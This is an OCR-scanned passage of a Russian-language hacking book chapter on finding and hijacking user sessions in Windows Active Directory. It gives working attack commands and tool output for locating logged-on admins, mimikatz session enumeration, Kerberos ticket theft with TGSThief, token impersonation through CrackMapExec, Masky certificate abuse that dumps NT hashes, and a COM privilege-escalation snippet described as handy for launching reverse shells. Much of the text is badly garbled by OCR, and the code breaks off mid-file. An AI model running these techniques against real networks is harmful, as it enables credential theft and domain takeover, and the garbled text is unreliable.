Rdn d"> I J -;e г : cat . \SessionHunter. txt vоstоk:\адмннистратор mai r1: VOS TOK Ran оп ~-lost: ОС01. VOSTOK a t e and Ti me : 2 3 . 09.2024 14:52: 26 El ap s.ed time: 0 : 0 : 0 . 280 PS {: \ IJ s _е г s\дД.м_.. нмстратор > _. _-·--··----- Рис . 13.9. lnvoke-SessionHunter А также модуль LoggedOn инструмента SharpHound (https://github.com/ BloodHoundAD/SharpHound). В Linux можно использовать питоновский скрипт Loggecton.py (https://gist.github.com/Geisericll/6849bc86620c7a764d88502df5187bd0, рис. 13.10). python loggedon.py VOSTOK /dcom: l olkekcheЫ23\ 1 @19 2.16 8 . l37 . 139
Глава 13. Как работает угон пользовательских сессий в г--i 243 Windows root~Jw1 f-i \oggedon.py VOSTOK/dcom:lolkekcheЫ23\!ii)192 . 1б8.137.139 Impacket v0.12.0.dev1 - Copyright 2023 Fortra - 11 pytho: [!] Cannot check RemoteRegistry status. Hoping it is started ... [ ! ] Trying to start the Remote Registry ... [*] User VОSТОК\Администратор is logged оп: 192.168.137.139 Рис. Через 13.10. Использование LoggedOn.py SCCM SCCM (который не всегда развернут в AD!) есть интересная фича, которая назы­ вается Primary User. Она позволяет отслеживать, какие пользователи какие машины В используют. Так что мы можем устроить настоящую охоту! Однако для использо­ вания нужно пробить SССМ-сервер . Например , можно провести рекон через Ma\SCCM (https://github.com/nettitude/ MalSCCM, рис. 13 .11 ). _ 1 / --- 1 / ___ / --- 1 \/ 1 1 \/ 1 1 1\/ 1 1/ _ • 1 \ ___ \ 1 1 1 1 1 1\/ I 1 1 1 1 1 С 1 1 1__ _) 1 1- - 1 1--- 1 1 1 1 I_I I_J\ __ ,_ I_J___ _; \ ____ \ ____I_I I_I Phil КееЫе @ Nettitude Red Team [*] Action: Inspect SCCM Server Sit eCode : LON Manag ern en tPoi nt : BLORE - SCCM . Ыorebank . local [*] Action : Ge t SCCM Prirnary Users Cornput e r : BLORE -SCCM User : Ыorebank\ben Cornpute r : WK- WIN10 - ECHO User: Ыore b ank\ben Cornput e r : WK- WIN10 - ECHO User : Ыorebank\lisa Рис. Есть также SharpSCCM 13.11. Пример использования MalSCCM (https://github.com/Мayyhem/SharpSCCM, рис. 13 .12). Он тоже позволяет обнаружить компы, на которых сидит определ енный пользователь . . \SharpSCCM .exe get primary- users -u Frank.Zapper Причем поддерживается и обратная операция - получение списка пол ьзователей , которые ходят на определенный компьютер . SharpSCCM . exe get primary-users - sms <SMS_PROVIDER> - sc <SITECODE> -d CLIENT --no-banner Здесь видно, что пользователь mayyhem\sccmadmin ходит на CLIENT.
Часть 244 11. Системное программирование для хакеров [ +] Connecting to \ \<SMS_PROVIDER >\root \ 915\site_ < SIТECODE > [ +] Executing WQL query :· SELECT 3 FROI-\ SMS_User~\ac hineRel ationshi p l~HERE ResourceNan1e= •CLIE NT • 915_ Us erMachi neRe lat ionsh ip CreationTime: 20230828055956.247000+000 IsActive: True RelationshipResourceID: 25165826 ResourceClientType: 1 ResourceID: 16777219 ResourceName: CLIENT Sources: 4, 9 Types: UniqueUserName: mayyhem\sccmadmin [+] Completed execution in 00:00 :00.4523001 Рис. 13.12. Использование SharpSCCM Через RDР-сессии Этот вариант поиска сессий пользователей сработает, если в сети предприятия ак­ тивно используется RDP. В таком случае в Linux удобно дергать тулзу tstool.py (https://github.comffhePorgs/impacket/ЫoЬ/9aa93730ccb355a7ef8e9295c974460610 ae798Ыexamples/tstool.py, рис. руthопЗ tstool.py --з.t Еш: 13 .13). CRINGE/Administrator:lolkekcheЫ23\!@192.168.116.129 qwinsta -/-/ad/too1s/impacket/examp1es tstool.py CRINGE/Adm1nistrator:lolkekcheЫ23\!шl92.168.llб .129 qwinsta Impacket v0.10.l.devl ~2 02305 24. 180921 . 8b3f9eff - Copyright 2022 Fort ra SESSIONNAМE U SERNAМ E Services Console WIN10DEV\ Admi n ID SТАТЕ Oesktop ConnectТime 0 Disconnected Act ive Unlocked None 2023 / 06 / 03 1 Рис. А в Windows 13.13. Использование нам поможет любимый Mimikatz DisconnectTi me 11: s2 :з б None None tstool.py с его модулем ts:: sessions (https:// gitbub.com/gentilkiwi/mimikatz/ЫoЬ/master/mimikatz/modules/kuЫ_m_ts.c#LS7). mimikatz.exe "ts: :sessioпs /server:WlO.ad.Ьitsadmin.com" exit Логи Не стоит игнорировать и файлы логов, ведь при входе любого пользователя гене­ рируется много интересных событий. Именно этот способ можно считать наиболее тихим вариантом поиска сессий пользователей. Я выделил событие 4624 (рис. 13 .14) - An account was successfully logged оп, оно генерируется на хаете, на который зашел пользователь. При аутентификации, на-
Глава 13. Как работает угон пользовательских сессий в пример через на контроллере домена будет событие Kerberos, 245 Windows 4624, но источником будет считаться тот хает, на котором проходила аутентификация. В таком случае перед нами следствие запроса, а не факт аутентификации. Также в этом событии зачастую содержится IР-адрес устройства, с которого запрашивалась аутентифика-. ция. мnt ~ s...;ect: х · Ev..,t -46Ц Mlaoюft Wlr>doм и,;urity~ ' SюdylO: МТЕМ A«11unt №rne: WIN-GG821AGC9GOS A«ovnt Oom1in: l.og!ln 10: o.m WOЯ,CGP.OUP '-"90" lnlonnllion: 2 LogonType: ~Admin~ Virt\NI дc~ount: No Eie,,.tedToцru УС$ lm~~ l"'flCIIO"ftion Newt.o,on: S«,nylO: CONТOSO\Adminktmor Ac(ovntN,mc:: A«ount Oomlin: Admini,w,._or wt-1-GG82ULGC9GO o.sococ tдgonl(): linЬdLogonlO: 0d) ~дщ,,,.,tн,,nс ~ д«О\811 Dcmlin: • !дgon G\111): ~~ (!] (!j l'ro(cs$~ а.А4с C,\Wi~\Systcm3Z\мh~ ProcнslD: Proc=Nlmc: NctwQrt lnfQffllfhcln, "Wodl:stlltion Nм!ti wt-1-GG82ULGC9GO 5our(c Nctwoit Adclra$C t27.Q.0.I О Sourc"'Pott: Dmilfd Autмntk.tion lnfonnмiot,: ~2 !дgon Рrосси: Nt,gotill"' ~PмЬgti T11!1iitcc1Scм( РкЬg!! ~ (NТ1М Of\t;'}. о · K~Lcnglh Log№me: V S«\Jfity l1/11/201S4<2&,3SPM ~ Тait Cetegoiy. l.og!ln Sou,cc Мкrosoft Windows иc;1.1rity Evt111.►• -462-4 l~ lhtr. ll'lfonnllJon ~ AuditSuccm N/A lnfo COmpllttr. Wl~LGC9GO OpCode Мсw WCМ'lltlo1>: Еха11 LS18 Q:olioc 1:1а1 Сору Рис. 13.14. Как выглядит событие 4624
246 Часть 11. Системное программирование для хакеров Для анализа события можно накидать небольшой скрипт на PowerShell. Например, пусть мы хотим определить, на какие машины пользователь «Администратор» хо­ дил в последний раз. В таком случае нам поможет событие 4624 и атрибут LastLogon, по которому будем делать фильтрацию, чтобы не анализировать все события 4624 на хаете. param( [Parameter(Mandatory=$true)] [string]$ComputerName, [Parameter(Mandatory=$true)] [string]$UserName try Import-Module ActiveDirectory $user = Get-ADUser -Identity $UserName -Properties "lastLogonTimestamp" $lastLogonDate = [DateTime]: :FromFileTime($user.lastLogonTimestamp) $startDate = $lastLogonDate.Date $endDate = $lastLogonDate.AddDays(l) .Date $filterHashtaЫe = @{ LogName = "Security" ID = 4624 StartTime = $startDate EndTime = $endDate $events = Get-WinEvent -ComputerName $ComputerName -FilterHashtaЫe $filterHashtaЫe foreach ($event in $events) { $xmlEvent = [xml]$event.ToXml() $targetUserSid ($xmlEvent.Event.EventData.Data I Where-Object { $_.Name -eq 'TargetUserSid' }) . '#text' $targetUserName = ($xmlEvent.Event.EventData.Data Where-ObJect { $_.Name -eq 'TargetUserName' }) . '#text' = I if (-not [string]: :IsNullOrEmpty($UserName) -and $UserName -ne $targetUserName) continue $targetDomainName = ($xmlEvent.Event.EventData.Data $logonType = ($xmlEvent.Event.EventData.Data $ipAddress = ($xmlEvent.Event.EventData.Data j Where-Object { $_.Name -eq 'TargetDomainName' )1. '#text' Where-Object { $_.Name -eq 'LogonType' )1. '#text' Where-Object { $_.Name -eq 'IpAddress' )1. '#text' I
Глава 13. Как работает угон пользовательских сессий в Write-Host Write-Host Write-Hos t Write-Host Write-Host Wr ite-Host 247 Windows "SID User: $ta rgetUserSid" "Username: $targetUserName" "Domain: $targetDomainName" "Logon Туре: $logonType" "IP Address: $ipAddress" "---------- catch Wr i te-Error "Er ro r: $" Использование: Администратор .\script.psl -ComputerName dcOl -UserName □ ComputerName - □ UserName - имя компьютера, с которого тащим логи; имя пользователя, чью сессию ищем. Вариант на С# разработал наш китайский коллега. РоС вы найдете в его репозито­ рии: https://github.com/evilashz/SharpADUserIP. Следующим обращу ваше внимание на событие при выдаче билета З•nроwен 61111n nро•~•и 4 768 (рис. 13. 15). Оно появляется TGT. подлинности Kerberos(ТG1). Сведения об учетно~ яnмсм: Имя учnной яnисм: П~оставленное и ... с~ры: ОСО1 S CRINGE.LAB CRINGE\DC01S И.Дентифи1t1тор ПOЛЬIOIITVUI: Сведения о спужбе: Имя спуж6ы: Кодспужбьr. krЫgt CRINGE\krЫgt Саеденмя о сети: AN,ec l</IИetm: ::1 Порт 1U1мент1: о Доnолнктель н ые с1едtни.я: Параметры Ох40810010 61111na: Код ре>ультота: ОхО Тип шифрования бмлnа: Ох12 Тип прwаритv,ьной проверки nоД11инностм: 2 Саедени• о сертификате: ИМА пост11щиu сертифмкп1: Серийный номер сертификат~ Отпечаток сертифи11::ат1 : Сведения о се:ртификате nредост111ляются только I том случае, если сертификат исnолЬ1-оплся дпя nред1аритt11ьной проаерки nодnинностн . Т ~nы прщарительной п роверки nоД11и н ностм, параметры 6млет11, типы шифрования и коды рвультата опре,делень1 а стандарте Рис. 13.15. Событие RFC 4120. 4768 Еще потенциально могут быть интересны события 4672 и 4769. Но согласитесь, искать инструмент под каждое событие не очень-то и удобно? Поэтому я разра­ ботал скрипт LogHunter (https://github.com/CICADA8-Research/LogHunter), ко­ торый автоматически парсит множество интересных для нас событий и помогает искать сессии пользователя.
Часть 248 11. Системное программирование для хакеров Есть и более «дедовский» способ. Можно просто подключить оснастку mmc.exe к удаленному устройству и обрабатывать логи в привычном для нас приложении. Процессы Наконец, взгляните на процессы. К каждому процессу привязан токен, а в токене содержится информация о том, от лица какого пользователя должен работать ис­ полняемый файл. В таком поиске нам поможет WMI. Get-WmiObject -Query "Select * from Win32_Process" -Computer winpc I where ($_.Name -notlike "svchost*"f I Select Name, Handle, @(LaЬel="Owner";Expression=($_.GetOwner(f .Userf f ft -AutoSize Этот командлет позволяет извлечь список процессов с устройства winpc, после чего сразу же отфильтровать среди них служебные, которые нам не очень интересны, а после вывести список процессов с именами пользователей-владельцев (рис. Рис. 13.16. Использование WMI 13. 16). для поиска сессий пользователей Кража сессий После успешного обнаружения сессии стоит попробовать захватить ее, т. е. вы­ красть учетные данные. И здесь у нас появляется огромный простор для фантазии! Воруем TGS Одним из исправно работающих способов кражи сессии в TGSThief Windows я бы назвал (https://github.com/МzНmOГI'GSThief), мы его разбирали в главе Вкратце: если мы начнем взаимодействовать с запросить билет TGS LSA как Logon Process, 5. то сможем для любой сессии, т. е. для любого пользователя, который находится с нами на одном устройстве.
Глава 13. Как работает угон пользовательских сессий в 249 Windows Например, если у нас на хосте есть два пользователя: хакер и администратор, то хакер с помощью TGSThief может попросить LSA администратора для какой-нибудь службы, например выписать билет CIFS TGS на имя контроллера домена. Однако возможные трюки этим не ограничиваются! В служба krbtgt, которая принимает билет TGT, а отдает Windows AD существует TGS. Что, если мы выпишем !z : \Shar~> . \ TG SThi ef. ехе +] Current User SID: S-1-S-21-335919554f: 703283941-1907394624-500 + J Current user : С RНJGЕ\А.дм ин~ стр.зтор +] SeDebugP,·ivilege EnaЬled +] S~ImpersonatePrivilege EnaЬled +J Cur rent User SID: S-1-5-18 +] Current User: rн АUТНОRIТУ.\СИСТЕМА +] System Impersonation Suпess [ ! ] Ind ex: 0, Logon ID; 0004490(, Jsername: (RIN'3E\DC01S [ ! ] Inde x: 1, Logon ID: 00027850, Username: tH SERVICE\HSSQL$HIC ROSOFТ##Wl0 { ! ] Index : 2, Logon ID: 00040384, username: CRINGE\DC01$ [!] [!] [!] • (!] [!] [!] [!] (!] [!] f!] (!] {! } [!] [!] [ !] [ !} {!] [ !] Index: Index: Inde x: Index: Inde x: I ndex : Index: Index : Index: I ndex: Index: Index: Index: Inde x: Index : Index: Index: Index: З, Logon 10: 000261А€1, L1sername: NT ALITНORIТY\AНOHW\HЬIЙ ВХОД 4 , Logon ID: 00048ЗF9, useгname: CRINGE \Адм ини стр а тор S, Logon ID: 0003294(, Username: CRHJGE\DC01$ 6, Logon ID: 00000ЗЕ7, Username: CRINGE\DC01$ 7, Logon I D: еО082906, Username: CRINGE\DC01$ 8 , Logon I D: 00040S4E , Username: CRINGE \[)(01 $ 9, Logon ID : 002В628В , Username: \<lindow Manager\DWМ-2 10, Logon 10: 0026СЗF0, U~ername: CRIN6E\DC01$ 11, Logon 1D: 00010(43, Userпdme: window /'>1anager\D\.Н·1-l 12, Logon 10: 00289(38, Username; CRHJGE \petka 13, Logon 10: 000003Е5, User·ndme: NT AUHIORITY\LOCAL SERVICE 14, Logon ID: 00286204, Username: windo:.1 f>tanager\D\.JH- 2 lS" Logon ID: 000829В9, Username: CRPJGE'.DC01$ 16, Logon 1D: 0000АбЕЗ , Userndme: \ 17, Logon I D: 00289С4С, Usernam~: CRINGE\petka 18, Logon ID: 00010D59, Userndme: VJindow мanager\Dw.'>1-1 19, Logon ID: 000003Е4, Username: CRINGE\DC01$ 20~ Logon ID: 09082983, Useгname: CRINbl\DC01$ [?} Enter inde x of logon session: 12 { ! } You 've selected session with Logon ID: 00289(38 [ ! ] Logon Process Name: 2mQ78 uGq7Xs IRl Jgy99BDUHcpбnD66YvCFVJnjQdU R { +] Curr ent Luid: 000483F9 нandle: 000002198E00DFF0 [ +] Kerberos Package: 2 f >1 J:nt'""r <:;DN• kгbtgt:/~~i~&e. lab L +J Si-'1,1 ' r.:rot:gt i c.r 1nge. lab \'al idated [+] LSA Handle, АР,• LUID are valid ][ +] Asking for TGS Su ccess [ +] Ticket : doIESDCCBOygAwIBBaEDAgEWooID/ jCCA/ phggP21'111D8qADAgEFoQ-..,;bCkNSSUSHRSSHQUK iHzAdoA.1'\CAQKhf jAUGwZrcmJ0Z3QbCkNSSUSHRS~ EhHZmCdvt I / kvXcVNXWGzOUTЗnrl ЗaohZU0W7Xw4Ul>I/ / Ы h l mxF Umz nvSdGu SJ lWF J I FphXHd50xqrhynD4dML i Pecf bml 8 i 5+0l YMCCQNQEWB Е npknNS+ J бРUС f\4 2f3v +mA lbhF k+Oxs Е km4XuVUYkc vxt vj 08 Tbt hhuuwZ Се I с L 0Е КУрС бs Е hPRuGvH JC r8SHEGQwTbbGpRB8SwVNa4AZnq 7уА Т mkyz S+Ua ub80vtбwGaНМ4l k +Е Wi zDE4aHЗowOz ev8Ql 9SOAUBh z К 0х9 / lN/ Х Т 9 SYHN 749s +dve УЕ gбa9 I.J 1еЕ Q7s kF 81 / w+ev I 4hVHa +qPf f>\mF r / f vwt +0t PI f St I Sa jDs tCgQN lmS 2 /0D6A2 SbRc \..iqxqQy I IoyEGkl 53 Т gBLqrpl SxNOVT s fD0B/ wT 1 q.! t 1 j / 6k / QP I Kw+B RQaЬi NfCЫm7ughgDZ4qDHkf8W08R J xf j SrmpRmj +f P4HsSF v aSRF 2POF egQi ykFqk4 uj do84F bnnX/ 0YbrDk y2qF ZGabc Z j SVwhenC 1k023 i 4 t 72 uc TS / d9 v sz 61 yt + S8R13 SL 20ZOmXKmks ko 7S So+ YxWyEQt SEWxUdC s9qE 1 bkH/ К urE 34 v IYvEZgyBП bXCA/kF / 4APЗyAEZB4Pm /8gK 7 2GS KRCRnsgi vK8P ICpdtbr 1ydrHi 1 Y/I\X3"10n2Skn/ :omUT a9kPuzGUquHWw2 l 7 aNPX5wvQQAVjCTCkOSs18qhwHwJfwKfSrqSE lEUvtUWXc Z+k2 /VT c4rUa Т +х jWAe z H1'1owNL eOPw 7 Т f ХЬС sc а 1 aYonHUkwl dHЬQ9 s PNqNo9e J uSGusHQP9 l 2yCv6 7kE fQnpvUo4Hdf>П HaoA1'1CAQC i gdl Egc99gc~ is i ТF SoyGtS ihDB sKQl J J Т kdF LkxSQq I 51-1B(gд"oJ I Вда Е JHAc ЬВХВ 1 dGt how,:: DBQBA4QAApR EYD: I wHj НхМТ E4NTQyNzNyWqYRGA8yHDI z 1-Н Е хОТ Awf>1j с :1'\l qn Е R~ [ t] Ls aRegisterL ogonProcess Success. Lsa ezзQbCkNSSUSHRS5'1QUI. 1[?] Injec t Тicket ? (Y/N) ~ ![ +] I f1jected i{ +] Success l 'z : \Share>kl ist ]текущим идентифик а т ором входа является 0:0x483f9 Кэw и рованные б и леты: '#0 > (1) Кл и ент: petka @ CRINGE. LA8 Сервер: krbtgt / CRINGE. LAB @ CRINGE. LAB Т и п ш и фрован и я KerЫicket: AES -256-C TS-HHAC фпаr и б и пета 0х40е10000 -> SНAl-96 f orwa rdaЬl e renewaЫe Рис. 13.17. initial pre authent name c anonicalize Использование TGSThief
Часть 250 билет на службу TGS 11. Системное программирование для хакеров Сможем ли мы получать другие krbtgt? Ответ: да, TGS? сможем! Фактически если у нас на руках есть полноценному билету рис. 13 .1 7 TGS на службу krbtgt, то это равносильно Таким образом мы сможем красть чужие TGT! TGT. На показан пример эксплуатации. Манипуляции с токенами Имперсонация чужих токенов dows. Атакующий, - это нестареющая классика эксплуатации имея достаточные привилегии, нацепляет на свой Win- процесс чужой токен и работает от лица другого пользователя. Кстати, эту атаку мы прово­ дили в главе 4. Благодаря широкой известности этой атаки для нее написано достаточно много ва­ риантов РоС. Причем существуют и необычные, например эксплуатация через API WTS (https://github.com/OmriВaso/WTSimpersonator). Процесс может запускаться не через CreateProcessWithTokenW (), а через UpdateProcThreadAttribute () (https://cocomelonc. github.io/tutorial/2022/10/28/token-theft-2.html). И вишенкой на торте идет легко (рис. CrackMapExec с модулем Impersonate. Использовать его 13.18, 13.19). ,·---( ЬQщ. t "'У • t1 ,1 ; ... /Cr•c~pExec ] -s po('try run crackmapexec smb 192.166. 212 .14 2 sмn sмв H1P(l!SON .• , Н-1РЕН~N ... lMPER,ON IMP[RSON If.1P[R50'1 Il-1PERSON IMPERSON I MP[RSO~ l MP[RSON IMPERSON IMPfR S.ON INPf.RSON .. , ••. ... .. , ... .. , .. , ... ... ... 192 .168.2 12.142 192.168.212.142 192.168 .2 12,142 192 , 168 . 212,142 192 . 168 . 212 .142 192. 168. 212. 1'-2 192.168.212.1'-2 192.168.212.142 19 2.168 .21 2 .1•2 192 .168.2 12.1•2 192.168.212.142 192.168. 212. 142 192.168.212 .142 192.168 .212.142 445 445 445 445 445 '-'-5 4'-5 4'-5 ,.,.5 ,.,.5 ,.,.5 ,.,.5 445 445 ,1 ADCS01 AOCSOl AO(S01 AO(S01 A0CS01 ADCS01 AOCS01 ADCS01 AOCSOl AOCSOl 1·011' IJ '(;-. :<111"1•..Jri.1.' м )mpe,r sonate i • ! W11н1ow s 10.0 Buttd 20 31.8 .11iб4 (name-:AOC501) (domJir1 : poudla1·d [+) pot,til<1rd . w1zard\ro11 : 0ctobet·2 A22 (P\om З(I !) Uploadi,1g lmpe-rso,ыte . t'xr [+] ImpeJ·sonate biпary StlC CC' SS ful\y нploJded i •) li$ting avditdЫe pr1m.эry Pri m,tr\' t o l<t.•11 tD : О JJrim,н·y tol<('l1 ID : 1 P1· imary tokv11 rt) : l ro: з P1·im,н· y tol<c11 10 : Pr ima,ry tnkcr1 ID : Pr imary tokeп ID : Pri m,"tt'y tol<N1 ro : 4 5 6 7 Pri mar y tol<c11 АОС501 AOCSOl ADCS01 •. дtкsе,1 _ tokens NT AUJHOR1 TV/SYSПM POUULARO /A1 l mi пi -.t 1· .;ttor \<'limlow м.-щ ~1g~r / 07JM ··2 wi1"Jow м.,11.1gc-r/OW,t.t - 1 POUDLARD/ 1·011 NT AUTHORITY / N[Т\'IOIШ S[RV IC[ NT AUTHORIТV/lO(Al SERVICE NT AUTHORITY / IUSR [+] lrnperso11ate b1n ary s"ccessft1\ly deleted Рис. 13.18. Список токенов с( ho11c\ay'i) ka\ l )-( ~/Cr~cklupExec J -S poetJ'\• run c1·ackmapexec smb 192.168.212.11.2 -tl 'roo' f•J -р 'Octot)('t·.?0.:'} ' ·'-1 impersonate ADCS01 ADCS01 ADCSOl ,, AOCS01 ADCSOl 11t ~~p~.RS~~,§:.:," 192.1•6~: 212./~2 ' Щ АОШl !•] Impersonate '," .. ::..~-~~ EXEC• ~Yiho,1м1~ [ •] Uploading lmpe,rsonate.exe J Impersonate binary successfully up\oaded [ •] Esecuting wt,oami as NT AUTHORПY/SYSТEM (♦ ' д0СS01 ~,uthority\system Ыnary successfull y de\eted 1.~ - .: ~"т.'. ;.,.,;.~_ .....__r--- , 13.19. Абьюз токенов Получить список токенов на системе crackmapexec # TOKEN•0 [+] poudlard .wizard \ron:OctobL' r 20 22 (PwnЗ,J !) Рис. # о Windows 10,0 Buitd 203'-8 х64 (name:ADCS01) (domain:po11d\ard 192.168 .212 .142 ,.,.5 SМВ 192.168.212. lt,2 t,t,5 IMPERS()N •.. 192.168.212.142 t,t,5 IMP[RSON ••. 192 . 168,212.142 445 IMPERSON . •• 192.168.212.1'-2>445 IMPERSON • • , 192 . 168 .2 12. 142 4•5 sме smЬ 10.10.10.10 -u 'Administrator' -р 'October2022' -М impersonate -р 'October2022' -М impersonate Вьшолнить действия от лица другого пользователя crackmapexec smЬ 10.Е.10.10 -u 'Administrator' ТОКЕN=<номер желаемого токена> ЕХЕС=<"команда для запуска"> -о
Глава Как работает угон пользовательских сессий в 13. crackmapexec smЬ 10.10.10.10 -u 'Administrator' EXEC="whoami" -р 251 Windows 'October2022' -М impersonate -о ТОКЕN=О RemotePotatoO RemotePotato0 - это эксплойт полузапатченного бага, позволяющий повышать привилегии. Почему «полу-»? Потому что у меня на Windows 11 обновлениями все сработало, хотя в что все пофиксили! Microsoft говорили, с последними Если вкратце, то этот инструмент злоупотребляет процессом активации объектов DCOM, в ходе которой происходит аутентификация. Она ловится и успешно реле­ ится, например в службу LDAP. Эту интересную атаку описывал snovvcrash в статье «Картошка-О. Повышаем привилегии в AD RemotePotato0» (https://xakep.ru/2022/08/26/remotepotato0/). мой коллега при помощи Однако если NТLM в домене отключен либо у вас нет возможности настраивать сторонний хост с редиректом резолва ОХID-запросов, то обращу внимание на RemoteKrbRelay (https://github.com/CICADA8-Research/RemoteKrbRelay/tree/ main). Инструмент изначально задумывался для удаленного релея Kerberos, но никто тебе не мешает запустить его и против локального компьютера. Поддержи­ вается возможность релея в LDAP, SMB, НТТР, что практически полностью RemotePotato0, разве что используется Kerberos, а не NТLM. ряет функции повто­ Запрос чужих сертификатов Раз мы заговорили об AD CS, сию пользователя при заходе в напомню, что можно принудительно триггерить сес­ AD CS, чтобы на него выписывался сертификат. Для этого можно воспользоваться утилитой рис. Masky (https://github.com/Z4kSec/Мasky, 13 .20): masky -d vostok.street -u dcom -р 'lolkekcheЫ23!' -dc-ip 192.168.137.139 -са "dc0l.vostok.street\vostok-DC0l-CA" -Т user --no-pfx --no-ccache 192.168.137.139 -v # 192.168.137.139 - ,--{ J'МC8wi1't ..,,...., 1 ~· • мiky h4 YCJstoll,,tn-et 1 v 1 __ _ -11 , -1 _ комп, с которого дампить dc- - р ·to\~,rtlthrЫl)'. dt • IP t9l . lM , 1]1 . 11♦ -<,. "dc e 1.vos to~ .,tr~rt\vos to4l•OC:f1 •(A~ _ 1 IVI 1/ _• / _ 1 1/ / 1 1 1 1 1 1 1 ( _1 \_ \ 4 I_ I 1 1_1 l_ l\_ ,..J_j_l\_\_ , [,.) L. . . i"'J 1 1_1 .1.:i.1 е,Н•• .,, r•J 1 t•rs••{•) \...,.. ru1 lnitit1H1•ttм •f 1t. 1,-,.м,.оt (•11• : 1) fo) (19l . tt8 . 1J7 . \J•) fc,J (191,\U,'111,Ht) ( ц } (ltl.t ... 1)7.139) fa1 (191.tU.117 . 1]9) fo} (192.1 .. ,137 . tЗt) [ • J (Jt2,\И, 1J7 . tП) {о\ (1"1.118.111.tJt) (oJ (1tl,1M,JJ7.13t) 5t•rt ef t•rs•t ,rec:•ss i -,: f - •st.y •f.-nt . i.,.r, •i\\ Ь. ~\~ i•: \W i nct..s\l ....\•1s\o.aod . ••• ТМ aAUJ 4.-t . . ,,ut wltt М •t•l'М 1111 : \ 8 i ~\ t-,\1uydw-, . JIJIC Hw 8AUy ~ t •r,..rs ■i.t\ Ь. stoNd \а : \ W i . . . . . , \ t - ~ j t . ,-s n.. a.st., •pnt •rc-t• wi\\ м "tомм in: \8i.._1\l-,\•rc• - t1t cur~t .-..r ..._ te М \к•t U8int1н•t•r. •tt ... tlnt: to rw ,..,,у •i~t ... ~dlJ .tJ"8t ws suc:c:•st.fvty "tcwded ltн 0 \■iadc8t.\J ...\s\11cw.-d . ••• • t"8 цr,ic:• ' ff,,..... ' u, ,cкc:nsfu\r c:r.•tM t•J (ttl.lИ.1J7 . 1Jt) 111М1 •.,,,..... . . . restArtM fer ,.....,.. •••c:utl81\ (ol (tt2.1U, 131,1Jt) Т11е 'ffi--• иrv1c:• 8ti1Wry ~ttt hs ~ ,._..,-4 f"'I (tt2.tM, 1)7 . 1Jt) 1 •нr ••••1• us MJ•cttod (о) (JtJ.J68.JJ7 , 1Jt) St~rt 11r.nst1111 нх •f Н141 •••r ' v••telt\4c:c.' [ot1 (192.168.137 . 111) 0.tti. . • 1&1 wJa t " f•\\•1-C kDC 18': 1t2. 16&. 117 . 11t {•1 (1t2,1 ... JJ7 . 1Jt) Gl.tMM ccACht fer the us•r ' vostelt.,tr.et\«•• !•1 (1t2.111.111.1Jt) a.t-.NII •1 ...... ,., t.,. •••r · •••tet.strмt\*•' : a1,1s"1.,.....2a.w1c:2~•,...._. rvJ (tt2.t68 . U7 . 11t) f.nl8 11rмess1,. •rx •• tM . . . ,. ·•••••'••· [toJ (1tJ.1U.U7 . 13t) (.. . ef 1••rpt Jnc:•111. . [•1 f.a1t1AC ;;,·.:, ~·~~' ~;~~,; Рис. 13.20. Использование Masky - J 11мr '"' •'• ,.о• •·••· , N1.1Ы IJJ IJ'I
Часть 252 Masky PFX, который можно использовать в атаках Причем модуль поддерживается и в CrackMapExec (рис. Pass the Certificate. 13 .21 ). Поиск СА one ldap 10.10.10.10 -u adrnin # Системное программирование для хакеров заходит на хост, получает список сессий, после чего для каждой запраши­ вает сертификат # 11. -р adrnin adcs -М Использование one smЬ 10.10.10.10 -u adrnin c;<:;~:;?:U~•~~~c~~~:=~~i2 .168. 212 .1н SМ LOAP 192.168.212 . lЗr. 41.S 192,168. 212.13'- 389 DC11 DCtt IU)CS IUICS -р adrnin -М masky -о СА="СА DN" -u ron р October2122 -N "d,s [•) W1ndOW$ 18.1 BuHd 203•8 ic6, (naee :DCll) (d08•1n :poud\ard .•izard) (s.igning :fa\se) { ♦ J poud\.ird . wizillrd\ron;O<. tob~r2122 FOtJnd Pkl tnroHNnt S.n•r : ADC.501 , poud\ilrd ,wi.i:•rd Found сн : poud\ard-ADCStl~CA -р -и •О CA• 'AOCSll .poud\i11rd .wildГd\poud\,1rd-AOCSt1 -u.· (5.МВvt:Fa\!.e) c;(:;::~;;v ;:,:.. ~~~~~~~=~~~-168.212.162 -u ron Octobe-r2122 &illSky 192.168.212.1,2 41-S AOCSll {•J Windows 11.8 Bui\d 213•8 •Ь• (n•м : АОС.581) (do■i/lin:poud\•rd. ■ нard) (signing:Fo1\1,~) 192.168.212.lt.2 ,z.s ADCSll (+) poud\•rd.wil•rd\ron:October2122 ( ~ d ! ) [•J Running М.sky on the t•rgeted host 192.168.212 . l't2 :.:.s AOCStl МЯ(У 192.168.212.1'2 r.t.5 ADCSll (•) 2 session(s) successfu\ly hij•cked М1К'1 (•J Attмptin! to retrteve НТ h•sh(es) vi• РК!NП мsn 192.16!.212.14io2 "t.5 ADCSl1 M s«Y 192 .16!. 212. lt.2 r.t.5 ADCSll poudlard\ron f6S9S3Saitladfdbc297197e21873cflb 192.168.212.1'2 41,65 ADC.511 JtASaCY poud\ard\ad8iiпietr.ator f659535i11lo2.i:dfdbcl97197•llt73cftb МЯУ 192 . 1бе.212.11о2 :.i.s (+) 2 NТ h.ash(es) successfutl.y coHected ADCStl !М8 SМ Рис. 13.21. Эксплуатация Masky (SМВvt:F•\s~) из СМЕ SeMishaPrivilege Этот код можно использовать для запуска произвольных файлов от лица сторонне­ го пользователя на системе. При этом не нужно SeDebug/Selmpersonate. Изначально код шел как Moniker ЕОР, но к нему добавили всякие проверки. явно назначать LРЕ-эксплойт привилегии СОМ Session if ( imp_token_il >= process_token_il && (imp_token_il >~ SECURITY_МANDATORY_HIGH_RID 11 EqualSid(process_token_user, imp_token_user))) ShellExecuteW(NULL, L"open", path, NULL, NULL, SW SHOW); Поэтому теперь это просто способ абьюза сессий, если есть учетка локального администратора! Единственный минус - исполняемый файл будет запущен в неинтерактивном ре­ жиме. То есть из текущей сессии мы будем видеть только успешно запущенный процесс, а в целевой сессии будут показываться GUI-приложения (если есть). По­ этому таким способом удобно запускать любые реверс-шеллы. using System; using System.Runtime.InteropServices; namespace IHxHelpPaneServer static class Program
